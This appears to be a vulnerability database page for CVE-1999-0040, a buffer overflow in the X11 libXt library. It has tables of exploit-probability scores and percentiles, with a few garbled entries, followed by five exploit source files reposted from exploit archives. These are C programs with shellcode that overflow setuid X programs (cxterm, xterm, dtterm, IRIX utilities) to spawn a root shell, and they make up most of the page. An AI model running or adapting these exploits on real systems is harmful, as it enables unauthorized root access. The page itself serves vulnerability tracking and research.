CVE-1999-0040 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.06%	–
2023-09-17	–	–	–	0.06%	–
2023-12-03	–	–	–	0.06%	–
2023-12-17	–	–	–	0.06%	–
2024-01-07	–	–	–	0.06%	–
2024-03-31	–	–	–	0.06%	–
2024-06-02	–	–	–	0.06%	–
2024-06-23	–	–	–	0.06%	–
2024-10-27	–	–	–	0.06%	–
2025-01-26	–	–	–	0.06%	–
2025-01-19	–	–	–	0.06%	–
2025-01-25	–	–	–	0.06%	–
2025-03-18	–	–	–	–	0.3%
2025-03-30	–	–	–	–	0.3%
2025-04-15	–	–	–	–	0.3%
2025-04-15	–	–	–	–	0.3,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	23%
2023-09-17	24%
2023-12-03	23%
2023-12-17	24%
2024-01-07	23%
2024-03-31	24%
2024-06-02	25%
2024-06-23	26%
2024-10-27	27%
2025-01-26	28%
2025-01-19	27%
2025-01-25	28%
2025-03-18	51%
2025-03-30	5%
2025-04-15	53%
2025-04-15	53%

/* cxterm buffer overflow exploit for Linux. This code is tested on both Slackware 3.1 and 3.2. Ming Zhang mzhang@softcom.net */ #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #define CXTERM_PATH "/usr/X11R6/bin/cxterm" #define BUFFER_SIZE 1024 #define DEFAULT_OFFSET 50 #define NOP_SIZE 1 char nop[] = "\x90"; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc,char **argv) { char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; int i,OffSet = DEFAULT_OFFSET; /* use a different offset if you find this program doesn't do the job */ if (argc>1) OffSet = atoi(argv[1]); buff = malloc(2048); if(!buff) { printf("Buy more RAM!\n"); exit(0); } ptr = buff; for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE; i+=NOP_SIZE) { memcpy (ptr,nop,NOP_SIZE); ptr+=NOP_SIZE; } for(i=0;i < strlen(shellcode);i++) *(ptr++) = shellcode[i]; addr_ptr = (long *)ptr; for(i=0;i < (8/4);i++) *(addr_ptr++) = get_sp() + OffSet; ptr = (char *)addr_ptr; *ptr = 0; (void) fprintf(stderr, "This bug is discovered by Ming Zhang (mzhang@softcom.net)\n"); /* Don't need to set ur DISPLAY to exploit this one, cool huh? */ execl(CXTERM_PATH, "cxterm", "-xrm",buff, NULL); } // milw0rm.com [1997-05-14]

#include #include #include #define DEFAULT_OFFSET 0 #define BUFFER_SIZE 1491 long get_esp(void) { __asm__("movl %esp,%eax\n"); } main(int argc, char **argv) { char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; char execshell[] = "\xeb\x23" "\x5e" "\x8d\x1e" "\x89\x5e\x0b" "\x31\xd2" "\x89\x56\x07" "\x89\x56\x0f" "\x89\x56\x14" "\x88\x56\x19" "\x31\xc0" "\xb0\x3b" "\x8d\x4e\x0b" "\x89\xca" "\x52" "\x51" "\x53" "\x50" "\xeb\x18" "\xe8\xd8\xff\xff\xff" "/bin/sh" "\x01\x01\x01\x01" "\x02\x02\x02\x02" "\x03\x03\x03\x03" "\x9a\x04\x04\x04\x04\x07\x04"; int i, ofs=DEFAULT_OFFSET, bs=BUFFER_SIZE; if(argc>1) ofs=atoi(argv[1]); if(argc>2) bs=atoi(argv[2]); printf("Using offset of esp + %d (%x)\nBuffer size %d\n", ofs, get_esp()+ofs, bs); buff = malloc(4096); if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; memset(ptr, 0x90, bs-strlen(execshell)); ptr += bs-strlen(execshell); for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i < (8/4);i++) *(addr_ptr++) = get_esp() + ofs; ptr = (char *)addr_ptr; *ptr = 0; execl("/usr/X11R6/bin/xterm", "xterm", "-fg", buff, NULL); } // milw0rm.com [1996-08-24]

/* source: https://www.securityfocus.com/bid/237/info The libXt library is part of the X Windows system. There are several buffer overflow conditions that may allow an unauthorized user to gain root privileges through setuid and setgid programs that are linked to libXt. These problems were openly discussed on the Bugtraq mailing list in 1996, this discussion led the OpenGroup (maintainers of the X-Windowing System) to release a new version of X Windows which was more thoroughly audited and which hopefully addressed a series of buffer overflows. */ /*## copyright LAST STAGE OF DELIRIUM jan 1997 poland *://lsd-pl.net/ #*/ /*## libxt.so -xrm #*/ #define NOPNUM 8000 #define ADRNUM 2000 #define PCHNUM 2000 #define TMPNUM 2000 #define ALLIGN 3 char shellcode[]= "\x04\x10\xff\xff" /* bltzal $zero,<shellcode> */ "\x24\x02\x03\xf3" /* li $v0,1011 */ "\x23\xff\x01\x14" /* addi $ra,$ra,276 */ "\x23\xe4\xff\x08" /* addi $a0,$ra,-248 */ "\x23\xe5\xff\x10" /* addi $a1,$ra,-240 */ "\xaf\xe4\xff\x10" /* sw $a0,-240($ra) */ "\xaf\xe0\xff\x14" /* sw $zero,-236($ra) */ "\xa3\xe0\xff\x0f" /* sb $zero,-241($ra) */ "\x03\xff\xff\xcc" /* syscall */ "/bin/sh" ; char jump[]= "\x03\xa0\x10\x25" /* move $v0,$sp */ "\x03\xe0\x00\x08" /* jr $ra */ ; char nop[]="\x24\x0f\x12\x34"; main(int argc,char **argv){ char buffer[20000],adr[4],pch[4],tmp[4],*b; int i,n=-1; printf("copyright LAST STAGE OF DELIRIUM jan 1997 poland //lsd-pl.net/\n"); printf("libxt.so -xrm for irix 5.2 5.3 6.2 6.3 IP:17,19,20,21,22,32\n\n"); if(argc!=2){ printf("usage: %s {monpanel|printers|dmplay|datman|xwsh|cdplayer|" "xconsole|xterm}\n",argv[0]); exit(-1); } if(!strcmp(argv[1],"monpanel")) n=0; if(!strcmp(argv[1],"printers")) n=1; if(!strcmp(argv[1],"dmplay")) n=2; if(!strcmp(argv[1],"datman")) n=3; if(!strcmp(argv[1],"xwsh")) n=4; if(!strcmp(argv[1],"cdplayer")) n=5; if(!strcmp(argv[1],"xconsole")) n=6; if(!strcmp(argv[1],"xterm")) n=7; if(n==-1) exit(-1); *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+15000+8000; *((unsigned long*)tmp)=(*(unsigned long(*)())jump)()+15000+15300+1000; *((unsigned long*)pch)=(*(unsigned long(*)())jump)()+15000+15300+1000+2000; b=buffer; for(i=0;i<ALLIGN;i++) *b++=0xff; for(i=0;i<NOPNUM;i++) *b++=nop[i%4]; for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; *b++=0xff; *b++=0xff; for(i=0;i<TMPNUM;i++) *b++=tmp[i%4]; for(i=0;i<ALLIGN;i++) *b++=0xff; for(i=0;i<PCHNUM;i++) *b++=pch[i%4]; for(i=0;i<ADRNUM;i++) *b++=adr[i%4]; *b=0; switch(n){ case 0: execl("/usr/sbin/monpanel","lsd","-xrm",buffer,0); case 1: execl("/usr/sbin/printers","lsd","-xrm",buffer,0); case 2: execl("/usr/sbin/dmplay","lsd","-xrm",buffer,0); case 3: execl("/usr/sbin/datman","lsd","-xrm",buffer,0); case 4: execl("/usr/sbin/xwsh","lsd","-xrm",buffer,0); case 5: execl("/usr/bin/X11/cdplayer","lsd","-xrm",buffer,0); case 6: execl("/usr/bin/X11/xconsole","lsd","-xrm",buffer,0); case 7: execl("/usr/bin/X11/xterm","lsd","-xrm",buffer,0); } }

/* source: https://www.securityfocus.com/bid/237/info The libXt library is part of the X Windows system. There are several buffer overflow conditions that may allow an unauthorized user to gain root privileges through setuid and setgid programs that are linked to libXt. These problems were openly discussed on the Bugtraq mailing list in 1996, this discussion led the OpenGroup (maintainers of the X-Windowing System) to release a new version of X Windows which was more thoroughly audited and which hopefully addressed a series of buffer overflows. */ /* * dtterm buffer overflow by jGgM * http://www.netemperor.com/en/ * EMail: jggm@mail.com * */ #include <stdio.h> #include <stdlib.h> char shell[] = "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4" "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf" "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff" "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53" "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f" "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff"; #define NOP 0x90 #define LEN 102 #define BUFFER_SIZE 1052 #define RET_LENGTH 10 #define ADJUST 4 long get_sp(void) { __asm__("movl %esp, %eax"); } int main(int argc, char *argv[]) { char buffer[BUFFER_SIZE+(RET_LENGTH*4)+1]; long offset, ret; int x, y; if(argc > 2) { fprintf(stderr, "Usage: %s [offset]\n", argv[0]); exit(1); } // end of if.. if(argc == 2) offset = atol(argv[1]); else offset = 0; ret = get_sp() + 900 + offset; for(x=0; x<BUFFER_SIZE; x++) buffer[x] = NOP; x = BUFFER_SIZE - strlen(shell) - ADJUST; for(y=0; y<strlen(shell); y++) buffer[x++] = shell[y]; for(y=0; y<RET_LENGTH; y++, x += 4) *((int *)&buffer[x]) = ret; buffer[x] = 0x00; printf("ret = 0x%x,\n", ret); printf("offset = %d\n", offset); printf("buffer size = %d\n", strlen(buffer)); execl("/usr/dt/bin/dtterm", "dtterm", "-xrm", buffer, NULL); printf("exec failed\n"); }

/* source: https://www.securityfocus.com/bid/237/info The libXt library is part of the X Windows system. There are several buffer overflow conditions that may allow an unauthorized user to gain root privileges through setuid and setgid programs that are linked to libXt. These problems were openly discussed on the Bugtraq mailing list in 1996, this discussion led the OpenGroup (maintainers of the X-Windowing System) to release a new version of X Windows which was more thoroughly audited and which hopefully addressed a series of buffer overflows. &/ /* * xterm buffer overflow by jGgM * http://www.netemperor.com/en/ * EMail: jggm@mail.com * */ #include <stdio.h> #include <stdlib.h> char shell[] = /* 0 */ "\xeb\x5f" /* jmp springboard */ /* syscall: */ /* 2 */ "\x9a\xff\xff\xff\xff\x07\xff" /* lcall 0x7,0x0 */ /* 9 */ "\xc3" /* ret */ /* start: */ /* 10 */ "\x5e" /* popl %esi */ /* 11 */ "\x31\xc0" /* xor %eax,%eax */ /* 13 */ "\x89\x46\x9d" /* movl %eax,-0x63(%esi) */ /* 16 */ "\x88\x46\xa2" /* movb %al,-0x5e(%esi) */ /* seteuid: */ /* 19 */ "\x31\xc0" /* xor %eax,%eax */ /* 21 */ "\x50" /* pushl %eax */ /* 22 */ "\xb0\x8d" /* movb $0x8d,%al */ /* 24 */ "\xe8\xe5\xff\xff\xff" /* call syscall */ /* 29 */ "\x83\xc4\x04" /* addl $0x4,%esp */ /* setuid: */ /* 32 */ "\x31\xc0" /* xor %eax,%eax */ /* 34 */ "\x50" /* pushl %eax */ /* 35 */ "\xb0\x17" /* movb $0x17,%al */ /* 37 */ "\xe8\xd8\xff\xff\xff" /* call syscall */ /* 42 */ "\x83\xc4\x04" /* addl $0x4,%esp */ /* execve: */ /* 45 */ "\x31\xc0" /* xor %eax,%eax */ /* 47 */ "\x50" /* pushl %eax */ /* 48 */ "\x56" /* pushl %esi */ /* 49 */ "\x8b\x1e" /* movl (%esi),%ebx */ /* 51 */ "\xf7\xdb" /* negl %ebx */ /* 53 */ "\x89\xf7" /* movl %esi,%edi */ /* 55 */ "\x83\xc7\x10" /* addl $0x10,%edi */ /* 58 */ "\x57" /* pushl %edi */ /* 59 */ "\x89\x3e" /* movl %edi,(%esi) */ /* 61 */ "\x83\xc7\x08" /* addl $0x8,%edi */ /* 64 */ "\x88\x47\xff" /* movb %al,-0x1(%edi) */ /* 67 */ "\x89\x7e\x04" /* movl %edi,0x4(%esi) */ /* 70 */ "\x83\xc7\x03" /* addl $0x3,%edi */ /* 73 */ "\x88\x47\xff" /* movb %al,-0x1(%edi) */ /* 76 */ "\x89\x7e\x08" /* movl %edi,0x8(%esi) */ /* 79 */ "\x01\xdf" /* addl %ebx,%edi */ /* 81 */ "\x88\x47\xff" /* movb %al,-0x1(%edi) */ /* 84 */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ /* 87 */ "\xb0\x3b" /* movb $0x3b,%al */ /* 89 */ "\xe8\xa4\xff\xff\xff" /* call syscall */ /* 94 */ "\x83\xc4\x0c" /* addl $0xc,%esp */ /* springboard: */ /* 97 */ "\xe8\xa4\xff\xff\xff" /* call start */ /* data: */ /* 102 */ "\xff\xff\xff\xff" /* DATA */ /* 106 */ "\xff\xff\xff\xff" /* DATA */ /* 110 */ "\xff\xff\xff\xff" /* DATA */ /* 114 */ "\xff\xff\xff\xff" /* DATA */ /* 118 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA */ /* 126 */ "\x2d\x63\xff"; /* DATA */ #define NOP 0x90 #define LEN 102 #define BUFFER_SIZE 1052 #define RET_LENGTH 12 int main(int argc, char *argv[]) { char start_addr[4]; char buffer[BUFFER_SIZE+(RET_LENGTH*4)+1]; char *command; long offset, ret, start_address; int len, x, y, shell_start; if(argc > 3 || argc < 2) { fprintf(stderr, "Usage: %s [command] [offset]\n", argv[0]); exit(1); } // end of if.. command = argv[1]; if(argc == 3) offset = atol(argv[2]); else offset = 0; len = strlen(command); len++; len = -len; shell[LEN+0] = (len >> 0) & 0xff; shell[LEN+1] = (len >> 8) & 0xff; shell[LEN+2] = (len >> 16) & 0xff; shell[LEN+3] = (len >> 24) & 0xff; start_address = (long)&start_addr; //ret = start_address - offset; //ret = start_address - 1080 - offset; ret = 0x8047910 - offset; for(x=0; x<BUFFER_SIZE; x++) buffer[x] = NOP; x = BUFFER_SIZE - strlen(command) - strlen(shell); for(y=0; y<strlen(shell); y++) buffer[x++] = shell[y]; for(y=0; y<strlen(command); y++) buffer[x++] = command[y]; for(y=0; y<RET_LENGTH; y++, x += 4) *((int *)&buffer[x]) = ret; buffer[x] = 0x00; printf("start_address = 0x%x\n", start_address); printf("ret = 0x%x,\n", ret); printf("offset = %d\n", offset); printf("command = %s\n", command); printf("buffer size = %d\n", strlen(buffer)); execl("/usr/X/bin/xterm", "xterm", "-xrm", buffer, NULL); printf("exec failed\n"); }